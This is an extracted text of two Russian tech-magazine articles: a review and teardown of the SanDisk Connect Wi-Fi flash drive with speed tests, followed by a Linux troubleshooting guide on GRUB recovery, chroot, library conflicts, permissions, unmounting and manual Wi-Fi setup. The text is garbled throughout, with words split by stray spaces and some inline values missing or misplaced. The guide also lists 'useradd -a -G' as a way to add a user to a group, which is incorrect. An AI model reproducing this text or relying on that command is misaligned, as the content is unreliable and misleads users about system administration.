это  были  кни ги  по  прог рамми рова нию  и  безопас ности)  или  записать  свои.
Ког да я узнал, что при мер но то же самое сей час ста ло дос тупно в фор мате
флеш ки, мне захоте лось ее про тес тировать.

СЦЕНАРИИ ИСПОЛЬЗОВАНИЯ
За чем  вооб ще  нуж на  флеш ка  с  Wi‐Fi?  Отбро сим  при мене ния,  выдуман ные
в  рек ламных  целях,  и  подума ем,  что  при годит ся  в  дей стви тель нос ти.  Если
речь  идет  о  безопас ности,  то  в  пер вую  оче редь  это  воз можность  работать
с любыми дан ными, не сох раняя их локаль но. На тво ем рабочем смар тфо не
или  ноут буке  прос то  не  будет  того,  что  смо гут  обра тить  про тив  тебя.  Даже
если твой гад жет попадет в чужие руки, ком про мат оста нет ся на флеш ке.

По  сути,  это  собс твен ное  обла ко,  которое  мож но  носить  с  собой.  Пом‐ 
нишь  бес смертные  стро ки:  «Я  дос таю  из  широких  шта нин…»?  Так  вот,  эту
флеш ку  и  дос тавать  не  надо!  Мож но  бро сить  ее  в  рюк зак  или  спря тать
где‐нибудь в кабине те, поль зовать ся самому или пересы лать дру гим чис тый
кон тент, не отда вая в руки сам накопи тель.

Дру гой  вари ант  при мене ния  —  ког да  не  хва тает  мес та  на  мобиль ных
устрой ствах. В некото рых смар тфо нах нет сло та для карт памяти. При необ‐ 
ходимос ти  к  ним  под клю чают  флеш ки  через  разъ ем  microUSB,  но  это
не слиш ком удоб но, да и под дер жки USB‐OTG может не быть. SanDisk Con‐
nect  не  ста нет  панаце ей  из‐за  малого  вре мени  авто ном ной  работы  (до
четырех  с  полови ной  часов),  но  поз волит  скла диро вать  на  нее  гигабай ты
фай лов, дос туп к которым не тре бует ся час то.

Ес ли нет роуте ра, то бес про вод ную флеш ку мож но исполь зовать для объ‐ 
еди нения устрой ств по Wi‐Fi. Прос то под клю чи их к одной и той же сети с наз‐ 
вани ем  вида  ,  и  они  смо гут  обме нивать ся  фай лами
без про водов. Осо бен но это  удоб но на вся ких выез дных мероп риятиях,  где
воз ника ет необ ходимость быс тро поделить ся дан ными с кучей людей.

SanDisk  Connect  UID

ВНЕШНИЙ ОСМОТР
Флеш ка  SanDisk  Connect  с  модулем  бес про вод ной  свя зи  выпус кает ся  объ‐ 
емом  от  16  до  256  Гбайт.  Для  тес тов  мы  купили  32‐гигабай тную  модель.
Более емкие вари анты отформа тиро ваны не в FAT32, а в проп риетар ную сис‐ 
тему exFAT. Ее под дер жка есть далеко не на всех устрой ствах. Изме нение же
логичес кой  раз метки  пов лияло  бы  на  тес ты.  Самая  млад шая  модель  мог ла
ока зать ся уре зан ной в чем‐то еще, поэто му мы решили не рис ковать.

SanDisk Connect — флеш ка с Wi‐Fi

Поль зовате лю дос тупно 29,6 Гбайт, 0,04 Гбайт из которых занима ет записан‐ 
ный  про изво дите лем  кон тент. Это  при меры фотог рафий, музыкаль ных фай‐ 
лов и один виде оро лик.

Ги габай ты дво ичные и десятич ные

ВЕСТИ ИЗ МОРГА
Мы  про вели  вскры тие  флеш ки  нас тоящим  скаль пелем,  а  заод но  оце нили
качес тво сбор ки и ее ремон топри год ность.

Это  типич ный  плас тиковый  кор пус  из  двух  полови нок,  скреп ленных  внут‐ 
ренни ми защел ками. Отги бать их надо со сто роны разъ ема, пред варитель но
сдви нув  плас тиковую  рам ку  вок руг  него.  Встав ляем  скаль пель  в  щель  поб‐ 
лиже  к открыв шемуся  углу и акку рат но нак лоня ем его, раз дви гая  час ти  кор‐ 
пуса. В обра зовав шееся отвер стие встав ляем кусочек тон кого плас тика (нап‐ 
ример, отре зан ный от ста рой бан ков ской кар ты) и прод вига ем скаль пель чуть
даль ше по перимет ру. Пов торя ем дей ствия до тех пор, пока не сдас тся пос‐ 
ледняя защел ка.

Пре пари руем флеш ку

Сра зу  пос ле  вскры тия  ничего  инте рес ного  не  вид но.  Все  зак рыто фоль гой,
которая выпол няет фун кцию экра на и ради ато ра. В ней оставле но отвер стие
толь ко для све тоди одно го инди като ра, да воз ле разъ ема уга дыва ется нож ка
кноп ки питания.

За то  на  обратной  сто роне  пла ты  тут  же  бро сает ся  в  гла за  встро енный
акку муля тор.  Кто  там  жаловал ся,  что  его  емкость  неиз вес тна,  а  про изво‐ 
дитель  ее  не  сооб щает?  Рас кры ваем  сек рет  Полиши неля:  380  мА  ⋅  ч
при рабочем нап ряжении 3,7 В дают емкость 1,4 Вт ⋅ ч с хвос тиком. Имен но
это  и  написа но  на  эле мен те  питания  про изводс тва  Hangzhou  Future  Power
Technology.  Раз меры  акку муля тора  52  ×  16  мм.  По  этим  парамет рам  лег ко
будет подоб рать замену.

Встро енный акку муля тор

Сам акку муля тор дер жится на полос ке двус торон ней лип кой лен ты. Под ним
вид на  тыль ная  сто рона  пла ты,  а  схе ма  кон тро ля  заряда  прос матри вает ся
сквозь полуп розрач ную плен ку.

Об ратная сто рона пла ты

С лицевой сто роны пла ты фоль га прик леена очень проч но. Есть шанс пор вать
ее,  поэто му  на  дан ном  эта пе  тре бует ся  быть  осо бен но  акку рат ным. Отсла‐ 
иваем фоль гу, и… лег ким дви жени ем флеш ка прев раща ется в кар три дер!

Ус трой ство флеш ки SanDisk Connect

Про изво дитель не стал замора чивать ся с рас пай кой чипа NAND Flash. Вмес‐ 
то  него  ком пания  SanDisk  прос то  исполь зовала  кар ту  памяти  microSDHC
собс твен ного про изводс тва. К сло ву, кар точка доволь но хороша — десято го
клас са или UHS Speed Class 1. Менять ее с ходу не хочет ся, но это воз можно.
Дос таточ но  отог нуть  метал личес кую  плас тину,  и  кар точка  при под нимет ся
на пру жиня щих кон тактах.

ДИЕТИЧЕСКОЕ ПИТАНИЕ
Флеш ка SanDisk Connect зарабо тает не в каж дом пор те USB. Про изво дитель
рекомен дует под клю чать ее  толь ко  к  зад ним пор там, непос редс твен но рас‐ 
паян ным на материн ской пла те. Перед ние пор ты сис темно го бло ка под клю‐ 
чены к пла те про вода ми, которые соз дают допол нитель ное соп ротив ление.

Пос коль ку в SanDisk Connect от USB‐пор та одновре мен но работа ют кон‐ 
трол лер и схе ма заряд ки встро енно го акку муля тора, она очень тре бова тель‐ 
на  к  питанию.  По  резуль татам  моих  замеров  она  в  сред нем  пот ребля ет
до  170  мА  в  режиме  записи.  Одна ко  крат ковре мен но  заряд ная  схе ма  пот‐ 
ребля ет ток до 380 мА, и еще око ло ста мил лиам пер тре бует ся самому кон‐ 
трол леру.  Это го  хва тает  впри тык,  что бы  уло жить ся  в  тре бова ние  к  пор там
USB 2.0 по силе тока — до 500 мА.

В  авто ном ном  режиме  SanDisk  Connect  может  про рабо тать  до  четырех
с  полови ной  часов.  Это  если  она  была  пол ностью  заряже на  и  лежала
в  полумет ре  от  устрой ства,  с  которо го  на  ней  нес пешно  лис тают  фот ки.
В сце нари ях более агрессив ного исполь зования вре мя неп рерыв ной работы
сок раща ется при мер но до трех часов.

На вер няка ты уже подумал, что мож но запитать флеш ку от внеш него акку‐ 
муля тора и юзать ее сут ками нап ролет. Как бы не так! Во вре мя под клю чения
к  USB‐пор ту  флеш ка  заряжа ется  (око ло  двух  часов),  а  все  бес про вод ные
фун кции в это вре мя отклю чают ся.

ТЕСТ СКОРОСТИ ПО USB
Пус кай  тебя  не  вво дит  в  заб лужде ние  цвет ной  разъ ем.  SanDisk  Connect
работа ет  по  про токо лу  USB  2.0  со  все ми  вытека ющи ми  ско рос тны ми  огра‐ 
ниче ниями. Мало того — она мед леннее мно гих ста рых фле шек.

Где же ско рость?

Прог рамма  AS  SSD  Benchmark  показы вает  ско рость  линей ного  чте ния
менее 13 Мбайт/с. Запись не доходит и до 8,5 Мбайт/с, нес мотря на быс трую
кар точку  внут ри.  Такая  же  кар та  памяти  во  внеш нем  кар три дере  TS‐RDP8K
USB  2.0  демонс три рова ла  ско рость  чте ния  более  25 Мбайт/с,  а  записи —
свы ше 12 Мбайт/с.

В  новом  кар три дере  с  интерфей сом  USB  3.0  кар точка  раз гонялась
до 60 Мбайт/с и боль ше во вре мя чте ния (про изво дитель и вов се ука зыва ет
«up to 80 Mb/s»), сох раняя близ кую ско рость записи. Про ще говоря, быс трую
кар ту  памяти  в  SanDisk  Connect  тор мозят  ста рый  интерфейс  и  мед ленный
кон трол лер.  Под твержда ют  это  и  замеры  ско рос ти  опе раций  вво да‐вывода
в прог рамме HD Tune Pro.

Тест IOPS

Тес ты  фай ловых  опе раций  выг лядят  луч ше  син тетичес ких  бен чмар ков,  пос‐ 
коль ку  в  пос ледних  отклю чено  кеширо вание.  Total  Commander  показал,  что
запись фотог рафий на флеш ку выпол нялась на ско рос ти 10–11 Мбайт/с.

Ско рость записи оче реди фай лов

Фильм  начина ет  копиро вать ся  не  сра зу  (кеширу ется  нес коль ко  секунд),
а инди катор прог ресса показы вает пла вающую ско рость от 6 до 12 Мбайт/с.
Это резуль тат сочета ния целого ряда фак торов: кеширо вания боль шого фай‐ 
ла, изна чаль ного сос тояния отдель ных яче ек памяти, наг рева в ходе работы
и  дру гих.  Поэто му  ско рость  то  рас тет,  то  пада ет.  В  сред нем —  чуть  боль‐ 
ше 7 Мбайт/с.

Ско рость записи боль шого фай ла

При нято счи тать, что дан ные чаще счи тыва ются с флеш ки, чем записы вают ся
на  нее.  Мак сималь но  зарегис три рован ная  ско рость  чте ния  по  USB  сос‐ 
тавила  12  Мбайт/с.  Чес тно  говоря,  я  отвык  от  таких  ско рос тей  мно го  лет
назад.

Ско рость чте ния с флеш ки

При обыч ной работе флеш ка показа ла себя нес пешной. Будет занят но, если
она вдруг уди вит более высоки ми ско рос тями по Wi‐Fi. Про верим!

Продолжение статьи →



ОБЛАКО В ШТАНАХ
НА ЧТО СПОСОБНА ФЛЕШКА С WI‐FI И ЧТО

У НЕЕ ВНУТРИ

FERRUM  НАЧАЛО СТАТЬИ←

ПОДКЛЮЧЕНИЕ ПО WI-FI
Бес про вод ное под клю чение к флеш ке выпол няет ся эле мен тарно. Дос таточ но
вклю чить ее, подож дать секунд пят надцать и прос каниро вать эфир в поис ках
SSID  вида  ,  где  вмес то  звез дочек —  уни каль ный
код  устрой ства  из  шес ти  сим волов.  Под клю чив шись  к  этой  сети,  ты  уста‐ 
новишь связь с накопи телем.

SanDisk  Connect  ******

На ходим флеш ку в эфи ре

Уви деть содер жимое SanDisk Connect в локаль ной сети и порулить нас трой‐ 
ками флеш ки мож но с любого устрой ства через бра узер по адре су 

 (ему соот ветс тву ет IP 172.25.63.1). При этом не дол жно
быть активных под клю чений к интерне ту и дру гим сетям, а в нас трой ках адап‐ 
тера Wi‐Fi необ ходимо задать авто мати чес кое наз начение IP‐адре са (обыч но
так и про писа но по умол чанию).

www.san‐
disk.com/myconnect

От кры ваем флеш ку через бра узер

На мобиль ных гад жетах удоб нее исполь зовать фир менное при ложе ние Con‐
nect Drive. Есть вер сии   и  .для Android для iOS

При ложе ние показы вает оставший ся заряд акку муля тора во флеш ке, поз‐ 
воля ет  нас тра ивать  бэкап  фотог рафий,  видео  и  кон тактов,  а  так же  уме ет
стри мить видео сра зу на нес коль ко устрой ств. Они делят про пус кную спо соб‐ 
ность  канала,  поэто му  количес тво  одновре мен но  под клю чаемых  гад жетов
зависит от бит рей та видео и качес тва свя зи.

Ме ню при ложе ния Connect Drive

Для  начала  сов мес тно го  прос мотра  филь ма  с  бес про вод ной  флеш ки  дос‐ 
таточ но  выб рать  любой  фильм  на  ней  и  запус тить  его  вос про изве дение.
При тран сля ции видео с раз решени ем 1280 × 720 и сред ним бит рей том мож‐ 
но  под клю чить  три‐четыре  девай са.  Если  боль ше  —  видео  нач нет  лагать
у всех.

Как обыч но, изна чаль но бес про вод ная сеть откры тая. Нас трой ки безопас‐ 
ности  зада ются  на  пос леду ющих  эта пах  через  при ложе ние
или веб‐интерфейс.

За даем нас трой ки через при ложе ние

Ин тернет или локал ка?
Есть два  спо соба  выпол нить бес про вод ное под клю чение  к SanDisk Connect
через фир менное  при ложе ние:  в  режиме  «толь ко  накопи тель»  или  «накопи‐ 
тель + интернет». В пер вом слу чае флеш ка будет работать мак сималь но быс‐ 
тро (это осо бен но важ но для прос мотра видео), а во вто ром — делить канал
с интернет‐про вай дером в ущерб ско рос ти.

Два спо соба под клю чения

Пос коль ку на смар тфо нах и план шетах есть слот для SIM‐кар ты, удоб нее (но
дороже) исполь зовать Wi‐Fi в режиме «толь ко накопи тель».

Ин тернет и флеш ка

Тес тиру ем под клю чение по Wi-Fi
За бес про вод ное под клю чение в SanDisk Connect отве чает кон трол лер стан‐ 
дарта  IEEE  802.11b/g/n  .  Это  ARM  Cortex‐M4F  с  так товой
час тотой 200 МГц и 512 Кбайт ОЗУ.

Marvell  88MW302

Флеш ка  работа ет  в  диапа зоне  2412–2462  МГц,  авто мати чес ки  выбирая
наиме нее  зашум ленный  канал.  Мощ ность  ее  передат чика  сос тавля ет  8,5–
9,3  мВт,  что  соот ветс тву ет  9,3–9,7  дБм.  Весь ма  недур но  для  кро хот ного
устрой ства со встро енной антенной!

Мощ ный передат чик

Ес ли от смар тфо на до флеш ки метр‐два, уро вень сиг нала ее бес про вод ной
сети ока зыва ется даже выше, чем у находя щего ся в той же ком нате роуте ра.

Ско рость в иде аль ных усло виях

Ско рость  копиро вания  фай ла  на  флеш ку  по  Wi‐Fi  с  рас положен ного
в полумет ре от нее смар тфо на Nexus 5 сос тавила 2,8–3,3 Мбайт/с. По мере
уда ления ско рость пред ска зуемо падала, но связь не обры валась.

На  рас сто янии  вось ми  мет ров  за  зак рытой  меж комнат ной  дверью  ско‐ 
рость упа ла ниже 1 Мбайт/с, но копиро вание фай ла про дол жалось.

Связь в тяжелых усло виях

Ре зер вное копиро вание, стри минг видео и все осталь ные опе рации с флеш‐ 
кой  так же  выпол няют ся  на  ско рос ти  до  3,3 Мбайт/с  в  режиме  под клю чения
«толь ко накопи тель».

Китай ские кло ны
SanDisk Connect появи лась осенью 2015 года. За про шед шее вре мя флеш ку
с Wi‐Fi успе ли   китай цы. Логика работы у них та же, но при этом
они усту пают про дук ту SanDisk в фун кци ональ нос ти. Мобиль ного при ложе ния
у них час то нет вооб ще, либо оно сде лано чис то для галоч ки и поль зовать ся
им  вряд  ли  воз можно.  Одна ко  сре ди  кло нов  мож но  най ти  устрой ства
с интерфей сом USB 3.0 и более емким акку муля тором.

ско пиро вать

ВЫВОДЫ
SanDisk Connect —  это  не  столь  уни вер саль ное  решение,  как  пол ноцен ный
роутер  с  под клю чен ным  к  нему  накопи телем. Без  перепи сыва ния  про шив ки
ты не смо жешь под нять на флеш ке собс твен ные сер веры или под рубить ее
сра зу  к  нес коль ким  сетям.  Зато  она  работа ет  «из  короб ки»,  и  это  имен но
авто ном ный мини атюр ный девайс. Ее мож но исполь зовать как пер сональ ное
или  общее  хра нили ще  для  любых  устрой ств  с  под клю чени ем  по  Wi‐Fi,
одновре мен но  смот реть  фильм  с  трех  гад жетов,  авто мати чес ки  бэкапить
фотог рафии и прос то прив лекать вни мание дру гих гиков.

К  сожале нию,  минусов  у  SanDisk  Connect  тоже  пре дос таточ но.  Воз‐ 
можнос ти  реаль ного  при мене ния  силь но  огра ничи вает  малое  вре мя  авто‐ 
ном ной  работы,  низ кая  ско рость  опе раций  записи/чте ния  при  любом  типе
под клю чения, а так же невоз можность запитать флеш ку от внеш него источни‐ 
ка с сох ранени ем бес про вод ного под клю чения во вре мя заряд ки. Скла дыва‐ 
ется  впе чат ление,  что  ком пания  SanDisk  решила  про вес ти  экспе римент
и пос мотреть, как пот ребите ли отре аги руют на новое нап равле ние.

WWW

•Крат кое руководс тво для SanDisk Connect
•Об новле ние  про шив ки  и  пол ные  вер сии
руководств для SanDisk Connect

•Ки тай ские ана логи бес про вод ной флеш ки
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UNIXOID

Раз работ чики  дис три бути вов  Linux  изо  всех  сил  ста рают ся
сде лать свои тво рения мак сималь но дру желюб ными к поль‐ 
зовате лю.  Нес мотря  на  это,  слу чает ся,  что‐то  идет  не  так,
как задумы валось, и сис тема начина ет вес ти себя некор рек‐ 
тно. Чем бы ни были выз ваны сбои в работе дис три бути ва,
в  подав ляющем  боль шинс тве  слу чаев  их  решение  дав‐ 
ным‐дав но  най дено  и  опи сано.  Наибо лее  рас простра нен‐ 
ные  проб лемы  Linux  и  методы  их  решения  мы  попыта лись
соб рать в этой статье.

LINUX НЕ ЗАПУСКАЕТСЯ
Та ков  один  из  самых  популяр ных  при зывов  о  помощи  в  сре де  нович ков.
На самом деле за этой лаконич ной фор мулиров кой проб лемы может сто ять
целый ворох не свя зан ных друг с дру гом при чин полом ки.

Про пал Grub
Очень  час то  с  подоб ной  проб лемой  стал кива ются  поль зовате ли  Windows,
уста новив шие Linux парал лель ной сис темой. Все работа ет прек расно, пока,
в оче ред ной раз пере уста новив Windows, новичок не затира ет заг рузчик Linux
(Grub)  заг рузчи ком  Windows,  который  даже  и  не  дума ет  поз волить  поль‐ 
зовате лю выб рать что‐то дру гое, кро ме вин ды.

Впро чем,  сце нари ев  «потерять»  Grub  мно жес тво,  рав но  как  и  спо собов
его вос ста новить. Самый логич ный — вновь заг рузить ся с флеш ки, с которой
до это го был уста нов лен Linux, и, открыв тер минал, ввес ти

$ sudo fdisk ‐l

Сре ди мно жес тва записей о под клю чен ных дис ках сле дует най ти груп пу раз‐ 
делов Linux, выб рать  кор невой раз дел  (здесь и далее sda1) и смон тировать
его:

$ sudo mount /dev/sda1 /mnt

За тем вос ста новить Grub на дис ке:

$ sudo grub‐install ‐‐root‐directory=/mnt /dev/sdа

В довер шение мож но обно вить меню Grub:

$ sudo update‐grub ‐‐output=/mnt/boot/grub/grub.cfg

Ошиб ки заг рузки ядра
Яд ро Linux — один из самых стре митель но раз вива ющих ся ком понен тов сис‐ 
темы.  Одна ко  не  всег да  обновле ние  ядра  идет  на  поль зу  сис теме.
Для  кого‐то  неп рием лемо  уда ление  драй вера  hd  для  жес тких  дис ков
с интерфей сом MFM/RLL, а кому‐то дос талось кри во соб ранное ядро от пос‐ 
тавщи ка  дис три бути ва.  Неред ко  при чиной  полом ки  ста новит ся  и  сам  поль‐ 
зователь, неб режно ском пилиро вав ший собс твен ное ядро.

В конеч ном ито ге, если резуль татом обновле ния ядра стал отказ сис темы
на эта пе заг рузки и выб рать аль тер натив ное ядро через Grub не получит ся,
потому  что  его  нет,  оста ется  вер нуть  пре дыду щий  рабочий  вари ант  ядра
на мес то через тер минал.

Луч ший  спо соб  это  сде лать  —  заг рузить ся  со  все  того  же  Live  CD
и  исполь зовать  ста рый  доб рый  chroot.  Пос ледний,  если  говорить  силь но
упро щен но, поз воля ет «вой ти» в свой дис три бутив из Live CD и выпол нить все
необ ходимые для вос ста нов ления коман ды.

Для начала пот ребу ется под клю чить кор невой раз дел (для при мера пусть
это будет опять же sda1):

# mount /dev/sda1 /mnt

За тем под клю чить к нему все нуж ные псев доФС:

# cd /mnt
# mount ‐t proc proc proc/
# mount ‐t sysfs sys sys/
# mount ‐o bind /dev dev/

И наконец, вой ти в chroot и нас тро ить сеть:

# chroot . /bin/bash
# echo nameserver 8.8.8.8 > /etc/resolv.conf

Те перь с  помощью пакет ного менед жера мож но  уста новить  нуж ную вер сию
ядра.

Проб лемы с видео
Иног да  сис тема  заг ружа ется,  но  из‐за  оши бок  в  виде одрай вере  или  из‐за
несов мести мос ти его вер сии (неред ко проп риетар ной) и вер сии ядра запус‐ 
тить  гра фичес кую  под систе му  ока зыва ется  невоз можно.  Решение  нап‐ 
рашива ется само собой: либо отка тить вер сию драй вера, либо сме нить его
на сво бод ный, если такой сущес тву ет.

В  этом  слу чае  не  нуж ны  ни  Live  CD,  ни  chroot.  Дос таточ но  залоги нить ся
в  режиме  коман дной  стро ки,  которая,  как  пра вило,  дос тупна  в  этом  слу чае
по умол чанию, и сме нить драй вер.

Од нако  порою  про тиво речия  драй вера  и  ядра  дос тига ют  такой  сте пени,
что  заг рузка  сис темы  завер шает ся  ошиб кой  без  воз можнос ти  что‐либо
испра вить по ходу запус ка. В таком слу чае мож но вос поль зовать ся набором
инс тру мен тов самого Grub и заг рузить сис тему в кон соль ном режиме.

Что бы это сде лать, нуж но:
выб рать в меню Grub стан дар тный пункт заг рузки;•
на жать   для вхо да в редак тор сце нария заг рузки выб ранной записи;• e

най ти в этом сце нарии стро ку с аргу мен тами запус ка ядра, начина ющуюся
с linux или kernel;

•

до бавить  в  кон це  этой  стро ки  3,  тем  самым  ука зав  сис теме  на  необ‐ 
ходимость заг рузки в мно гополь зователь ском режиме с под дер жкой сети
и без гра фичес кого окру жения;

•

на жать сочета ние Ctrl + X, что бы начать заг рузку с изме нен ными нас трой‐ 
ками;

•

с  помощью  пакет ного  менед жера  заменить  проб лемный  виде одрай вер
на исправ ный и перезаг рузить сис тему.

•

Из менения,  вно симые в сце нарий заг рузки опи сан ным обра зом, будут дей‐ 
ство вать  до  момен та  вык лючения  компь юте ра.  Сле дующая  заг рузка  будет
про ходить в штат ном режиме с гра фичес ким окру жени ем.

ПРОБЛЕМЫ С УСТАНОВКОЙ И ЗАПУСКОМ ПРИЛОЖЕНИЙ
Хо тя в репози тори ях сов ремен ных дис три бути вов есть огромное количес тво
готовых бинар ных пакетов при ложе ний на любой вкус, обя затель но най дет ся
такое, уста новить которое в сис тему ина че как соб рав из исходни ков не удас‐ 
тся.

Не ред ко запуск таких при ложе ний закан чива ется кра хом и соп ровож дает‐ 
ся  сооб щени ями  об  отсутс твии  некото рых  биб лиотек,  хотя  на  самом  деле
такие  биб лиоте ки  есть  в  сис теме.  Обыч но  при чина  это му —  несов падение
вер сии биб лиоте ки.

Не сов падение вер сии биб лиоте ки
Лю бимый мно гими про игры ватель Bomi,  чья раз работ ка в пос леднее вре мя
нес коль ко забук совала и не пос пева ет за обновле ниями исполь зуемых биб‐ 
лиотек,  пос ле  уста нов ки  из  исходни ков  может  ругать ся  на  отсутс твие  биб‐ 
лиоте ки libass.so.5:

bomi: error while loading shared libraries: libass.so.5: cannot open 
shared object file: No such file or directory

Пер вая мысль:  уста новить эту биб лиоте ку.  Уста нав лива ем и получа ем  то же
сооб щение, потому  что вер сии биб лиотек не сов пада ют:  у  нас 9.0.1,  а нуж‐ 
на 5.

В этом слу чае мож но попытать ся обма нуть Bomi, под сунув ему нашу вер‐ 
сию биб лиоте ки под видом нуж ной ему. Сде лать это мож но с помощью сим‐ 
воличес кой ссыл ки:

$ cd /usr/lib
$ sudo ln ‐s libass.so.9.0.1 libass.so.5

Ис прав ление отсутс твия биб лиотек в Bomi

По терей  биб лиотек  гре шат  даже  при ложе ния,  находя щиеся  в  офи циаль ных
репози тори ях.  Так  что  знать,  как  это  испра вить,  не  помеша ет  и  законо пос‐ 
лушным поль зовате лям.

Кон флик ты биб лиотек
Про тиво полож ная ситу ация скла дыва ется, ког да пакет ный менед жер руга ется
не  на  отсутс твие,  а  на  при сутс твие  в  сис теме  той  же  биб лиоте ки,  что  пос‐ 
тавля ется с уста нав лива емым пакетом.

При чиной  может  быть  дру гое  уста нов ленное  при ложе ние,  уже  пре дос‐ 
тавив шее  дан ную  биб лиоте ку.  Так  час то  слу чает ся,  ког да  пакет  уста нов лен
с помощью инс тру мен та, отлично го от штат ного пакет ного менед жера, нап‐ 
ример питонов ско го pip.

Проб лемы могут быть и меж ду пакета ми, уста нов ленны ми из стан дар тно го
менед жера  пакетов.  Нап ример,  уста нов ка    в  Manjaro
Linux  до  вне сения  раз работ чиками  исправ лений  мог ла  завер шить ся  целой
чередой  сооб щений  о  наличии  содер жащих ся  в  нем  биб лиотек  в  сис теме,
по недора зуме нию уста нов ленных в сис тему пакетом libglvnd:

nvidia‐340xx‐utils

nvidia‐340xx‐utils: '/usr/lib/nvidia/libEGL.so' существует в 
файловой системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libEGL.so.1' существует в 
файловой системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libGL.so' существует в файловой 
системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libGL.so.1' существует в 
файловой системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libGLESv1_CM.so' существует в 
файловой системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libGLESv1_CM.so.1' существует в 
файловой системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libGLESv2.so' существует в 
файловой системе
nvidia‐340xx‐utils: '/usr/lib/nvidia/libGLESv2.so.2' существует в 
файловой системе

В  подоб ных  слу чаях  сна чала  при дет ся  деин стал лировать  пакет,  выз вавший
ошиб ку, а затем уста новить тре буемый.

Иног да, нап ример все для того же pip или если при ложе ние вооб ще было
уста нов лено спо собом configure && make && make  install,  пот ребу ется вруч‐ 
ную  уда лять  биб лиоте ки,  выз вавшие  кон фликт,  не  деин стал лируя  само  при‐ 
ложе ние, их породив шее.

ПРОБЛЕМЫ ДОСТУПА К УСТРОЙСТВАМ
До сад но  обна ружить,  как  уста нов ленное  тобой  при ложе ние,  работа ющее
с  перифе рий ными  устрой ства ми,  вдруг  «раду ет»  сооб щени ем,  что  нет  прав
на  дос туп  к  этим  устрой ствам,  и  успешно  запус кает ся  толь ко  с  пра вами
супер поль зовате ля. Нап ример, если бы подоб ное про изош ло с tvtime в отно‐ 
шении виде окар ты, поль зователь стол кнул ся бы с таким сооб щени ем в кон‐ 
соли:

videoinput: Cannot open capture device /dev/video0: Permission denied

Пер вым делом сле дует про верить груп пы дос тупа к устрой ству:

$ ls ‐l /dev/video0

Ожи даемо  ты обна ружи ваешь  сре ди  них  root  и  video,  но  не обна ружи ваешь
в пос ледней себя (user), выпол нив про вер ку коман дой

$ groups

Ес тес твен ное  решение  —  добавить  поль зовате ля  (user)  в  груп пу  (video)
любой из дос тупных команд:

$ sudo usermod ‐a ‐G video user
$ sudo useradd ‐a ‐G video user
$ sudo gpasswd ‐a user video

По завер шении коман ды нуж но перезай ти в сис тему.

ОШИБКИ РАЗМОНТИРОВАНИЯ
Каж дый зна ет, что преж де, чем вынуть флеш ку из USB‐разъ ема, нуж но выпол‐ 
нить  коман ду  (или нажать  зна чок)  раз монти рова ния. Не  всег да  эта  коман да
завер шает ся успешно, и в ответ ты можешь получить сооб щение наподо бие:

Error unmounting block device 8:17: GDBus.Error:org.freedesktop.
UDisks2.Error.DeviceBusy: Error unmounting /dev/sdb1: target is busy

Оно  говорит  о  том,  что  некое  при ложе ние  все  еще  исполь зует  носитель 
. Что бы опре делить это при ложе ние, нуж но най ти, куда смон тирован
:

/
dev/sdb1
/dev/sdb1

$ mount | grep /dev/sdb1

А затем выпол нить такую коман ду:

$ lsof +D /путь_к_точке_монтирования

Или такую:

$ fuser ‐m /путь_к_точке_монтирования

Ос танет ся  толь ко  зак рыть  при ложе ние,  в  край нем  слу чае  убить  про цесс
и спо кой но раз монти ровать носитель. С помощью  fuser  это мож но сде лать,
что называ ется, на мес те:

$ fuser ‐k ‐m /путь_к_точке_монтирования

В  самом  край нем  слу чае  мож но  не  уби вать  при ложе ние,  а  раз монти ровать
ФС при нуди тель но:

$ sudo umount ‐f ‐l /путь_к_точке_монтирования

Раз монти рова ние устрой ства, занято го про цес сом

ФРИЗЫ СИСТЕМЫ
Нич то  не  спо соб но  так  вывес ти  из  себя,  как  ситу ация,  ког да  ни  одно  твое
нажатие  на  мышь  или  кла виату ру  не  отзы вает ся  ожи даемой  реак цией  сис‐ 
темы.  Пер вой  мыслью  в  этом  слу чае  будет  перезаг рузить  сис тему  хард
ресетом. Но луч ше пой ти дру гим путем и най ти винов ника, перек лючив шись
в тер минал.

На жима ем Ctrl + Alt + F2, вво дим логин и пароль и запус каем top:

$ top

Он покажет про цес сы (при ложе ния), которые боль ше дру гих куша ют CPU. Те,
что находят ся на пер вых мес тах и в колон ках CPU и TIME которых сущес твен‐ 
но боль шие циф ры, чем у дру гих, и есть корень зла.

Ос тает ся  толь ко  их  при бить  (1110  здесь  и  далее  —  это  PID  про цес са,
который top показы вает в одно имен ной колон ке):

$ kill 1110

и  забыть о  проб леме.  Хотя  нет. На  вся кий пожар ный нуж но  вновь  запус тить
top и, если про цесс все еще на мес те, при кон чить его с помощью безапел‐ 
ляци онно го

$ kill ‐9 1110

Про цес сы, запущен ные от рута, тре буют запус ка kill через sudo, но в этом слу‐ 
чае  надо  быть  пре дель но  вни матель ным  и  понимать,  что  дела ешь,  что бы
не угро бить сис тему.

Вер нуть ся назад в гра фичес кий режим мож но с помощью сочета ния Ctrl +
Alt  +  F7.  В  некото рых  дис три бути вах  может  помочь  Ctrl  +  Alt  +  F3  или  F4.
В общем, сле дует поп робовать все фун кци ональ ные кла виши.

НАСТРОЙКА БЕСПРОВОДНОЙ СЕТИ ВРУЧНУЮ
Во  вре мя  спа сатель но‐вос ста нови тель ных  опе раций  тебе  час то  при дет ся
работать  из  голой  кон соли,  в  которой  не  будет  аппле та  NetworkManager.
Иног да  сеть  нуж но  будет  нас тра ивать  вруч ную,  и  если  в  слу чае  про вод ной
сети это не проб лема (обыч но дос таточ но прос то вот кнуть кабель), то с бес‐ 
про вод ной воз никнут слож ности.

Что бы  нас тро ить  бес про вод ную  сеть,  пер вым  делом  нуж но  узнать
логичес кое имя сво ей бес про вод ной кар точки:

$ iw dev

и про верить, не заб локиро ван ли интерфейс:

$ sudo rfkill list wlan

Ес ли заб локиро ван, выпол нить

$ sudo rfkill unblock wlan

За тем най ти точ ку дос тупа (здесь и даль ше wlan0 — имя кар точки):

$ iwlist wlan0 scan | grep SSID

и под ста вить вмес те с паролем WPA/WPA2 в коман ду

$ sudo wpa_passphrase ИМЯ_ТОЧКИ ПАРОЛЬ

По лучен ный  ответ  сле дует  помес тить  в  файл 
.

/etc/wpa_supplicant/wpa_‐
supplicant.conf

Под клю чить ся к сети мож но будет с помощью двух команд:

$ sudo wpa_supplicant ‐В ‐i wlan0 ‐c /etc/wpa_supplicant/wpa_su
pplicant.conf
